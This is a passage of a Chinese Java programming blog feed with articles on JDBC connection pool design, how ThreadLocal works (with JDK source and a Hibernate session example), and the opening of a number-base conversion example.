<p>　　对于连接的管理可使用空闲池。即把已经创建但尚未分配出去的连接按创建时间存放到一个空闲池中。每当用户请求一个连接时，系统首先检查空闲池内有没有空闲连接。如果有就把建立时间最长(通过容器的顺序存放实现)的那个连接分配给他(实际是先做连接是否有效的判断，如果可用就分配给用户，如不可用就把这个连接从空闲池删掉，重新检测空闲池是否还有连接);如果没有则检查当前所开连接池是否达到连接池所允许的最大连接数(maxConn),如果没有达到，就新建一个连接，如果已经达到，就等待一定的时间(timeout)。如果在等待的时间内有连接被释放出来就可以把这个连接分配给等待的用户，如果等待时间超过预定时间timeout,则返回空值(null)。系统对已经分配出去正在使用的连接只做计数，当使用完后再返还给空闲池。对于空闲连接的状态，可开辟专门的线程定时检测，这样会花费一定的系统开销，但可以保证较快的响应速度。也可采取不开辟专门线程，只是在分配前检测的方法。</p>
<p>　　5、连接池的配置与维护</p>
<p>　　连接池中到底应该放置多少连接，才能使系统的性能最佳?系统可采取设置最小连接数(minConn)和最大连接数(maxConn)来控制连接池中的连接。最小连接数是系统启动时连接池所创建的连接数。如果创建过多，则系统启动就慢，但创建后系统的响应速度会很快;如果创建过少，则系统启动的很快，响应起来却慢。这样，可以在开发时，设置较小的最小连接数，开发起来会快，而在系统实际使用时设置较大的，因为这样对访问客户来说速度会快些。最大连接数是连接池中允许连接的最大数目，具体设置多少，要看系统的访问量，可通过反复测试，找到最佳点。</p>
<p>　　如何确保连接池中的最小连接数呢?有动态和静态两种策略。动态即每隔一定时间就对连接池进行检测，如果发现连接数量小于最小连接数，则补充相应数量的新连接,以保证连接池的正常运转。静态是发现空闲连接不够时再去检查。</p>
<p>　　连接池的实现</p>
<p>　　1、连接池模型</p>
<p>　　本文讨论的连接池包括一个连接池类(DBConnectionPool)和一个连接池管理类(DBConnetionPoolManager)。连接池类是对某一数据库所有连接的&#8220;缓冲池&#8221;，主要实现以下功能：①从连接池获取或创建可用连接;②使用完毕之后，把连接返还给连接池;③在系统关闭前，断开所有连接并释放连接占用的系统资源;④还能够处理无效连接(原来登记为可用的连接，由于某种原因不再可用，如超时，通讯问题)，并能够限制连接池中的连接总数不低于某个预定值和不超过某个预定值。</p>
<p>　　连接池管理类是连接池类的外覆类(wrapper),符合单例模式，即系统中只能有一个连接池管理类的实例。其主要用于对多个连接池对象的管理，具有以下功能：①装载并注册特定数据库的JDBC驱动程序;②根据属性文件给定的信息，创建连接池对象;③为方便管理多个连接池对象，为每一个连接池对象取一个名字，实现连接池名字与其实例之间的映射;④跟踪客户使用连接情况，以便需要是关闭连接释放资源。连接池管理类的引入主要是为了方便对多个连接池的使用和管理，如系统需要连接不同的数据库，或连接相同的数据库但由于安全性问题，需要不同的用户使用不同的名称和密码。</p>
<p>　　2、连接池实现</p>
<p>　　下面给出连接池类和连接池管理类的主要属性及所要实现的基本接口：</p>
<p>　　public class DBConnectionPool implements TimerListener{</p>
<p>　　private int checkedOut;//已被分配出去的连接数</p>
<p>　　private ArrayList freeConnections=new ArrayList();</p>
<p>　　//容器，空闲池，根据//创建时间顺序存放已创建但尚未分配出去的连接</p>
<p>　　private int minConn;//连接池里连接的最小数量</p>
<p>　　private int maxConn;//连接池里允许存在的最大连接数</p>
<p>　　private String name;//为这个连接池取个名字，方便管理</p>
<p>　　private String password;//连接数据库时需要的密码</p>
<p>　　private String url;//所要创建连接的数据库的地址</p>
<p>　　private String user;//连接数据库时需要的用户名</p>
<p>　　public Timer timer;//定时器</p>
<p>　　public DBConnectionPool(String name,String URL,String user,</p>
<p>　　String password,int maxConn)//公开的构造函数</p>
<p>　　public synchronized void freeConnection(Connection con)</p>
<p>　　//使用完毕之后，把连接返还给空闲池</p>
<p>　　public synchronized Connection getConnection(long timeout)</p>
<p>　　//得到一个连接，timeout是等待时间</p>
<p>　　public synchronized void release()</p>
<p>　　//断开所有连接，释放占用的系统资源</p>
<p>　　private Connection newConnection()</p>
<p>　　//新建一个数据库连接</p>
<p>　　public synchronized void TimerEvent()</p>
<p>　　//定时器事件处理函数</p>
<p>　　}</p>
<p>　　public class DBConnectionManager {</p>
<p>　　static private DBConnectionManager instance;</p>
<p>　　//连接池管理类的唯一实例</p>
<p>　　static private int clients;//客户数量</p>
<p>　　private ArrayList drivers=new ArrayList();</p>
<p>　　//容器，存放数据库驱动程序</p>
<p>　　private HashMap pools = new HashMap();</p>
<p>　　//以name/value的形式存取连接池对象的名字及连接池对象</p>
<p>　　static synchronized public DBConnectionManager getInstance()</p>
<p>　　/**如果唯一的实例instance已经创建，直接返回这个实例;否则，调用私有构造函数，</p>
<p>　　创建连接池管理类的唯一实例*/</p>
<p>　　private DBConnectionManager()</p>
<p>　　//私有构造函数,在其中调用初始化函数init()</p>
<p>　　public void freeConnection(String name,Connection con)</p>
<p>　　//释放一个连接，name是一个连接池对象的名字</p>
<p>　　public Connection getConnection(String name)</p>
<p>　　//从名字为name的连接池对象中得到一个连接</p>
<p>　　public Connection getConnection(String name,long time)</p>
<p>　　//从名字为name的连接池对象中取得一个连接，time是等待时间</p>
<p>　　public synchronized void release()//释放所有资源</p>
<p>　　private void createPools(Properties props)</p>
<p>　　//根据属性文件提供的信息，创建一个或多个连接池</p>
<p>　　private void init()//初始化连接池管理类的唯一实例，由私有构造函数调用</p>
<p>　　private void loadDrivers(Properties props)//装载数据库驱动程序</p>
<p>　　}</p>
<p>　　3、连接池使用</p>
<p>　　上面所实现的连接池在程序开发时如何应用到系统中呢?下面以Servlet为例说明连接池的使用。</p>
<p>　　Servlet的生命周期是：在开始建立servlet时，调用其初始化(init)方法。之后每个用户请求都导致一个调用前面建立的实例的service方法的线程。最后，当服务器决定卸载一个servlet时，它首先调用该servlet的destroy方法。</p>
<p>　　根据servlet的特点，我们可以在初始化函数中生成连接池管理类的唯一实例(其中包括创建一个或多个连接池)。如：</p>
<p>　　public void init() throws ServletException</p>
<p>　　{</p>
<p>　　connMgr=DBConnectionManager.getInstance();</p>
<p>　　}</p>
<p>　　然后就可以在service方法中通过连接池名称使用连接池，执行数据库操作。最后在destroy方法中释放占用的系统资源，如：</p>
<p>　　public void destroy(){</p>
<p>　　connMgr.release();</p>
<p>　　super.destroy();</p>
<p>　　}</p>
<p>　　结束语</p>
<p>　　在使用JDBC进行与数据库有关的应用开发中，数据库连接的管理是一个难点。很多时候，连接的混乱管理所造成的系统资源开销过大成为制约大型企业级应用效率的瓶颈。对于众多用户访问的Web应用，采用数据库连接技术的系统在效率和稳定性上比采用传统的其他方式的系统要好很多。本文阐述了使用JDBC访问数据库的技术?讨论了基于连接池技术的数据库连接管理的关键问题并给出了一个实现模型。文章所给出的是连接池管理程序的一种基本模式，为提高系统的整体性能，在此基础上还可以进行很多有意义的扩展。</p>
<img src ="http://www.blogjava.net/WshmAndLily/aggbug/195374.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/WshmAndLily/" target="_blank">semovy</a> 2008-04-24 09:35 <a href="http://www.blogjava.net/WshmAndLily/articles/195374.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>ThreadLocal使用</title><link>http://www.blogjava.net/WshmAndLily/articles/195372.html</link><dc:creator>semovy</dc:creator><author>semovy</author><pubDate>Thu, 24 Apr 2008 01:32:00 GMT</pubDate><guid>http://www.blogjava.net/WshmAndLily/articles/195372.html</guid><wfw:comment>http://www.blogjava.net/WshmAndLily/comments/195372.html</wfw:comment><comments>http://www.blogjava.net/WshmAndLily/articles/195372.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/WshmAndLily/comments/commentRss/195372.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/WshmAndLily/services/trackbacks/195372.html</trackback:ping><description><![CDATA[&nbsp;TheadLocal包含了一组get(),set(Object)方法，可以获得当前线程的放进去的对象。<br />
<br />
<strong>&nbsp;&nbsp;&nbsp; ThreadLocal 不是用来解决共享对象的多线程访问问题的，一般情况下，通过ThreadLocal.set() 到线程中的对象是该线程自己使用的对象，其他线程是不需要访问的，也访问不到的。</strong>各个线程中访问的是不同的对象。
<p><strong><strong>&nbsp;&nbsp;&nbsp; 另外，说ThreadLocal使得各线程能够保持各自独立的一个对象，这个对象的创建并不是通过ThreadLocal.set()来实现的，set()并不会做什么对象的拷贝，而是每个线程之前已经创建好的对象。</strong>通 过ThreadLocal.set()将这个新创建的对象的引用以当前线程为key，保存TheadLocal的一个map中，执行 ThreadLocal.get()时，各线程从map中取出以当前线程为key的对象，因此取出来的是各自自己线程中的对象。</strong></p>
<p>&nbsp;</p>
<p>下面来看看ThreadLocal的实现原理（jdk1.5源码） <br />
</p>
<div class="code_title">代码</div>
<ol class="dp-j">
    <li class="alt"><span><span class="keyword">public</span><span> </span><span class="keyword">class</span><span> ThreadLocal&lt;T&gt; {&nbsp;&nbsp;</span></span>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;<span class="comment">/**</span> </span>
    <li class="alt"><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * ThreadLocals rely on per-thread hash maps attached to each thread</span> </span>
    <li><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * (Thread.threadLocals and inheritableThreadLocals).&nbsp;&nbsp; The ThreadLocal</span> </span>
    <li class="alt"><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * objects act as keys, searched via threadLocalHashCode.&nbsp;&nbsp; This is a</span> </span>
    <li><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * custom hash code (useful only within ThreadLocalMaps) that eliminates</span> </span>
    <li class="alt"><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * collisions in the common case where consecutively constructed</span> </span>
    <li><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * ThreadLocals are used by the same threads, while remaining well-behaved</span> </span>
    <li class="alt"><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * in less common cases.</span> </span>
    <li><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */</span><span>&nbsp;&nbsp;</span></span>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;<span class="keyword">private</span><span> </span><span class="keyword">final</span><span> </span><span class="keyword">int</span><span> threadLocalHashCode = nextHashCode();&nbsp;&nbsp;</span></span>
    <li><span>&nbsp;&nbsp;</span>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;<span class="comment">/**</span> </span>
    <li><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * The next hash code to be given out. Accessed only by like-named method.</span> </span>
    <li class="alt"><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */</span><span>&nbsp;&nbsp;</span></span>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;<span class="keyword">private</span><span> </span><span class="keyword">static</span><span> </span><span class="keyword">int</span><span> nextHashCode = </span><span class="number">0</span><span>;&nbsp;&nbsp;</span></span>
    <li class="alt"><span>&nbsp;&nbsp;</span>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;<span class="comment">/**</span> </span>
    <li class="alt"><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * The difference between successively generated hash codes - turns</span> </span>
    <li><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * implicit sequential thread-local IDs into near-optimally spread</span> </span>
    <li class="alt"><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * multiplicative hash values for power-of-two-sized tables.</span> </span>
    <li><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */</span><span>&nbsp;&nbsp;</span></span>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;<span class="keyword">private</span><span> </span><span class="keyword">static</span><span> </span><span class="keyword">final</span><span> </span><span class="keyword">int</span><span> HASH_INCREMENT = </span><span class="number">0x61c88647</span><span>;&nbsp;&nbsp;</span></span>
    <li><span>&nbsp;&nbsp;</span>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;<span class="comment">/**</span> </span>
    <li><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * Compute the next hash code. The static synchronization used here</span> </span>
    <li class="alt"><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * should not be a performance bottleneck. When ThreadLocals are</span> </span>
    <li><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * generated in different threads at a fast enough rate to regularly</span> </span>
    <li class="alt"><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * contend on this lock, memory contention is by far a more serious</span> </span>
    <li><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * problem than lock contention.</span> </span>
    <li class="alt"><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */</span><span>&nbsp;&nbsp;</span></span>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;<span class="keyword">private</span><span> </span><span class="keyword">static</span><span> </span><span class="keyword">synchronized</span><span> </span><span class="keyword">int</span><span> nextHashCode() {&nbsp;&nbsp;</span></span>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="keyword">int</span><span> h = nextHashCode;&nbsp;&nbsp;</span></span>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; nextHashCode = h + HASH_INCREMENT;&nbsp;&nbsp;</span>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="keyword">return</span><span> h;&nbsp;&nbsp;</span></span>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp; }&nbsp;&nbsp;</span>
    <li class="alt"><span>&nbsp;&nbsp;</span>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;<span class="comment">/**</span> </span>
    <li class="alt"><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * Creates a thread local variable.</span> </span>
    <li><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */</span><span>&nbsp;&nbsp;</span></span>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;<span class="keyword">public</span><span> ThreadLocal() {&nbsp;&nbsp;</span></span>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp; }&nbsp;&nbsp;</span>
    <li class="alt"><span>&nbsp;&nbsp;</span>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;<span class="comment">/**</span> </span>
    <li class="alt"><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * Returns the value in the current thread's copy of this thread-local</span> </span>
    <li><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * variable.&nbsp;&nbsp; Creates and initializes the copy if this is the first time</span> </span>
    <li class="alt"><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * the thread has called this method.</span> </span>
    <li><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</span> </span>
    <li class="alt"><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * @return the current thread's value of this thread-local</span> </span>
    <li><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */</span><span>&nbsp;&nbsp;</span></span>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;<span class="keyword">public</span><span> T get() {&nbsp;&nbsp;</span></span>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Thread t = Thread.currentThread();&nbsp;&nbsp;</span>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ThreadLocalMap map = getMap(t);&nbsp;&nbsp;</span>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="keyword">if</span><span> (map != </span><span class="keyword">null</span><span>)&nbsp;&nbsp;</span></span>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="keyword">return</span><span> (T)map.get(</span><span class="keyword">this</span><span>);&nbsp;&nbsp;</span></span>
    <li><span>&nbsp;&nbsp;</span>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="comment">// Maps are constructed lazily.&nbsp;&nbsp; if the map for this thread</span><span>&nbsp;&nbsp;</span></span>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="comment">// doesn't exist, create it, with this ThreadLocal and its</span><span>&nbsp;&nbsp;</span></span>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="comment">// initial value as its only entry.</span><span>&nbsp;&nbsp;</span></span>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; T value = initialValue();&nbsp;&nbsp;</span>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; createMap(t, value);&nbsp;&nbsp;</span>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="keyword">return</span><span> value;&nbsp;&nbsp;</span></span>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp; }&nbsp;&nbsp;</span>
    <li><span>&nbsp;&nbsp;</span>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;<span class="comment">/**</span> </span>
    <li><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * Sets the current thread's copy of this thread-local variable</span> </span>
    <li class="alt"><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * to the specified value.&nbsp;&nbsp; Many applications will have no need for</span> </span>
    <li><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * this functionality, relying solely on the {@link #initialValue}</span> </span>
    <li class="alt"><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * method to set the values of thread-locals.</span> </span>
    <li><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</span> </span>
    <li class="alt"><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * @param value the value to be stored in the current threads' copy of</span> </span>
    <li><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this thread-local.</span> </span>
    <li class="alt"><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */</span><span>&nbsp;&nbsp;</span></span>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;<span class="keyword">public</span><span> </span><span class="keyword">void</span><span> set(T value) {&nbsp;&nbsp;</span></span>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Thread t = Thread.currentThread();&nbsp;&nbsp;</span>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ThreadLocalMap map = getMap(t);&nbsp;&nbsp;</span>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="keyword">if</span><span> (map != </span><span class="keyword">null</span><span>)&nbsp;&nbsp;</span></span>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; map.set(<span class="keyword">this</span><span>, value);&nbsp;&nbsp;</span></span>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="keyword">else</span><span>&nbsp;&nbsp;</span></span>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; createMap(t, value);&nbsp;&nbsp;</span>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp; }&nbsp;&nbsp;</span>
    <li><span>&nbsp;&nbsp;</span>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;<span class="comment">/**</span> </span>
    <li><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * Get the map associated with a ThreadLocal. Overridden in</span> </span>
    <li class="alt"><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * InheritableThreadLocal.</span> </span>
    <li><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</span> </span>
    <li class="alt"><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * @param&nbsp;&nbsp; t the current thread</span> </span>
    <li><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * @return the map</span> </span>
    <li class="alt"><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */</span><span>&nbsp;&nbsp;</span></span>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp; ThreadLocalMap getMap(Thread t) {&nbsp;&nbsp;</span>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="keyword">return</span><span> t.threadLocals;&nbsp;&nbsp;</span></span>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp; }&nbsp;&nbsp;</span>
    <li class="alt"><span>&nbsp;&nbsp;</span>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;<span class="comment">/**</span> </span>
    <li class="alt"><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * Create the map associated with a ThreadLocal. Overridden in</span> </span>
    <li><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * InheritableThreadLocal.</span> </span>
    <li class="alt"><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</span> </span>
    <li><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * @param t the current thread</span> </span>
    <li class="alt"><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * @param firstValue value for the initial entry of the map</span> </span>
    <li><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * @param map the map to store.</span> </span>
    <li class="alt"><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */</span><span>&nbsp;&nbsp;</span></span>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;<span class="keyword">void</span><span> createMap(Thread t, T firstValue) {&nbsp;&nbsp;</span></span>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; t.threadLocals = <span class="keyword">new</span><span> ThreadLocalMap(</span><span class="keyword">this</span><span>, firstValue);&nbsp;&nbsp;</span></span>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp; }&nbsp;&nbsp;</span>
    <li class="alt"><span>&nbsp;&nbsp;</span>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp; .......&nbsp;&nbsp;</span>
    <li class="alt"><span>&nbsp;&nbsp;</span>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;<span class="comment">/**</span> </span>
    <li class="alt"><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * ThreadLocalMap is a customized hash map suitable only for</span> </span>
    <li><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * maintaining thread local values. No operations are exported</span> </span>
    <li class="alt"><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * outside of the ThreadLocal class. The class is package private to</span> </span>
    <li><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * allow declaration of fields in class Thread.&nbsp;&nbsp; To help deal with</span> </span>
    <li class="alt"><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * very large and long-lived usages, the hash table entries use</span> </span>
    <li><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * WeakReferences for keys. However, since reference queues are not</span> </span>
    <li class="alt"><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * used, stale entries are guaranteed to be removed only when</span> </span>
    <li><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * the table starts running out of space.</span> </span>
    <li class="alt"><span><span class="comment">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */</span><span>&nbsp;&nbsp;</span></span>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;<span class="keyword">static</span><span> </span><span class="keyword">class</span><span> ThreadLocalMap {&nbsp;&nbsp;</span></span>
    <li class="alt"><span>&nbsp;&nbsp;</span>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp; ........&nbsp;&nbsp;</span>
    <li class="alt"><span>&nbsp;&nbsp;</span>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp; } <br />
    </span></li>
</ol>
<br />
以hibernate中典型的ThreadLocal的应用： <br />
<div class="code_title">代码</div>
<div class="code_div">
<div class="dp-highlighter">
<ol class="dp-j">
    <li class="alt"><span><span class="keyword">private</span><span> </span><span class="keyword">static</span><span> </span><span class="keyword">final</span><span> ThreadLocal threadSession = </span><span class="keyword">new</span><span> ThreadLocal();&nbsp;&nbsp;</span></span>
    <li><span>&nbsp;&nbsp;</span>
    <li class="alt"><span><span class="keyword">public</span><span> </span><span class="keyword">static</span><span> Session getSession() </span><span class="keyword">throws</span><span> InfrastructureException {&nbsp;&nbsp;</span></span>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp; Session s = (Session) threadSession.get();&nbsp;&nbsp;</span>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;<span class="keyword">try</span><span> {&nbsp;&nbsp;</span></span>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="keyword">if</span><span> (s == </span><span class="keyword">null</span><span>) { <br />
    </span></span>
    <li><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //每一个线程第一次使用getSession都会到这，调用openSession。<br />
    </span></span>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; s = getSessionFactory().openSession();&nbsp;&nbsp;</span>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; threadSession.set(s);&nbsp;&nbsp;</span>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }&nbsp;&nbsp;</span>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp; } <span class="keyword">catch</span><span> (HibernateException ex) {&nbsp;&nbsp;</span></span>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="keyword">throw</span><span> </span><span class="keyword">new</span><span> InfrastructureException(ex);&nbsp;&nbsp;</span></span>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp; }&nbsp;&nbsp;</span>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;<span class="keyword">return</span><span> s;&nbsp;&nbsp;</span></span>
    <li><span>} <br />
    </span></li>
</ol>
</div>
</div>
<strong></strong>
<img src ="http://www.blogjava.net/WshmAndLily/aggbug/195372.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/WshmAndLily/" target="_blank">semovy</a> 2008-04-24 09:32 <a href="http://www.blogjava.net/WshmAndLily/articles/195372.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>JAVA进制转换</title><link>http://www.blogjava.net/WshmAndLily/articles/186224.html</link><dc:creator>semovy</dc:creator><author>semovy</author><pubDate>Fri, 14 Mar 2008 03:16:00 GMT</pubDate><guid>http://www.blogjava.net/WshmAndLily/articles/186224.html</guid><wfw:comment>http://www.blogjava.net/WshmAndLily/comments/186224.html</wfw:comment><comments>http://www.blogjava.net/WshmAndLily/articles/186224.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/WshmAndLily/comments/commentRss/186224.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/WshmAndLily/services/trackbacks/186224.html</trackback:ping><description><![CDATA[<p>//进制转换<br />
public class hex<br />
{<br />
public static void main(String[] args)<br />
{&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp; String&nbsp;&nbsp;&nbsp; strHex&nbsp;&nbsp;&nbsp; =&nbsp;&nbsp;&nbsp; Integer.toHexString(15);//十进制转换成十六进制&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp; System.out.println("0x"+strHex);<br />
&nbsp;&nbsp;&nbsp;&nbsp; String&nbsp;&nbsp;&nbsp; binary="11111"; //二进制&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp; String&nbsp;&nbsp;&nbsp; Octal="023";&nbsp;&nbsp;&nbsp; //八进制<br />
